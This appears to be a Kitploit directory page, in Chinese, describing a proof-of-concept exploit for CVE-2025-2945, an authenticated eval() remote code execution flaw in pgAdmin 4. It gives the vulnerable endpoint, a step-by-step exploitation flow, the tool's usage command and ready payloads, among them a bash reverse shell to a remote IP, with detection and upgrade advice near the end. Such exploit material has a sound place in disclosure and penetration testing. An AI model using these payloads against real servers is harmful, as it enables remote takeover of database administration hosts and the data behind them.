Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-2945-pgadmin-rce — pgAdmin 4 (8.10–9.1) 中通过查询工具中的 eval() 注入实现认证后的远程代码执行。这是更新后的 PoC,包含针对 pgAdmin 9.x 身份验证更改的兼容性修复。 | Kitploit
工具/GitHubGitHub/plur1bu5/cve-2025-2945-pgadmin-rce
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育红队
GitHubplur1bu5/cve-2025-2945-pgadmin-rce

CVE-2025-2945-pgadmin-rce

pgAdmin 4 (8.10–9.1) 中通过查询工具中的 eval() 注入实现认证后的远程代码执行。这是更新后的 PoC,包含针对 pgAdmin 9.x 身份验证更改的兼容性修复。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
5个月前尚未审核

CVE-2025-2945 — pgAdmin 4 查询工具已认证远程代码执行漏洞

CVE-2025-2945 的概念验证,一个 pgAdmin 4 中的严重远程代码执行漏洞。

受影响版本: 8.10 至 9.1
修复版本: 9.2(2025年4月4日发布)
CVSS v3.1: 9.9(严重)


概述

pgAdmin 4 查询工具暴露了一个端点,该端点接受 query_commited 参数并将其直接传递给 Python 内置的 eval() 函数,且未进行任何清理。通过身份验证的攻击者可以通过此参数提交任意 Python 代码,并在服务器端以 pgAdmin 服务账户的权限执行。

受影响端点:

root@kitploit:~
POST /sqleditor/query_tool/download/<trans_id>

JSON 请求体中的 query_commited 字段会在服务器端被作为 Python 代码进行求值。


技术分析

根本原因

在 pgAdmin 4 9.2 之前的版本中,查询工具下载处理程序对用户提供的输入调用了 eval():

root@kitploit:~
# 漏洞代码路径的简化表示
result = eval(data.get('query_commited'))

未应用任何输入验证、沙箱或白名单机制。任何有效的 Python 表达式都会以 pgAdmin 进程的权限执行。

利用流程

  1. 认证 — 向 /authenticate/login 发送 POST 请求提交凭据,获取会话 cookie 和 CSRF 令牌
  2. 初始化 sqleditor — 向 /sqleditor/initialize/sqleditor/<trans_id>/<sgid>/<sid>/<did> 发送 POST 请求并附带数据库凭据,建立查询工具会话
  3. 发现服务器 ID — 向 /sqleditor/get_server_connection/<sgid>/<sid> 发送 GET 请求,遍历 ID 直至返回 data.status == true
  4. 触发 eval — 向 /sqleditor/query_tool/download/<trans_id> 发送 POST 请求,请求体为 {"query_commited": "<python payload>"},收到 500 响应即确认执行

CSRF 令牌处理(pgAdmin 9.x)

旧版 pgAdmin 将 CSRF 令牌嵌入隐藏的 <input> 字段或 cookie 中。9.x 版本迁移至 React SPA 架构,令牌以 JSON 形式嵌入在登录页面的 window.renderSecurityPage() 调用中:

root@kitploit:~
"csrfToken": "<token value>"

令牌是会话范围的(Flask-WTF / itsdangerous),因此从初始 GET /login 获取的令牌在整个会话期间有效,可重复用于后续所有 API 调用。

登录端点变更

pgAdmin 9.x 将登录路由分离:

  • GET /login — 渲染登录页面(包含 CSRF 令牌)
  • POST /authenticate/login — 处理凭据

旧版 PoC 直接向 /login 发送 POST 请求时,在 9.x 实例上会收到 404 或 405 错误。


环境要求

  • Python 3.7+
  • 有效的 pgAdmin 凭据(任何已认证用户)
  • 已在 pgAdmin 中注册的服务器对应的有效数据库凭据
root@kitploit:~
pip install requests faker

使用方法

root@kitploit:~
python3 poc.py \
  --rhost <目标主机> \
  --username <pgadmin邮箱> \
  --password <pgadmin密码> \
  --db-user <数据库用户名> \
  --db-pass <数据库密码> \
  --db-name <数据库名称> \
  --payload "<python表达式>"

参数

载荷示例

命令执行:

root@kitploit:~
--payload "__import__('os').system('id')"

反弹 shell:

root@kitploit:~
--payload "__import__('os').system('bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\"')"

检测方法

  • 从 /sqleditor/query_tool/download/ 返回意外的 HTTP 500 响应
  • pgAdmin 进程产生子进程(shell、curl、wget)
  • pgAdmin 主机向未知 IP 发起出站连接

缓解措施

升级至 pgAdmin 4 版本 9.2 或更高版本。


参考资料

  • https://nvd.nist.gov/vuln/detail/CVE-2025-2945
  • https://www.tenable.com/security/research/tra-2025-2945
  • https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/multi/http/pgadmin_query_tool_rce

免责声明

本仓库仅用于教育和授权测试目的。请勿对您不拥有或未经明确许可的系统使用。

下载工具
参数描述
--rhost目标主机名或 IP(不含协议)
--rport目标端口(默认:80)
--usernamepgAdmin 登录邮箱
--passwordpgAdmin 登录密码
--db-userPostgreSQL 用户名
--db-passPostgreSQL 密码
--db-name数据库名称
--payload在服务器上执行的 Python 表达式
--max-server-id要探测的最大服务器 ID(默认:10)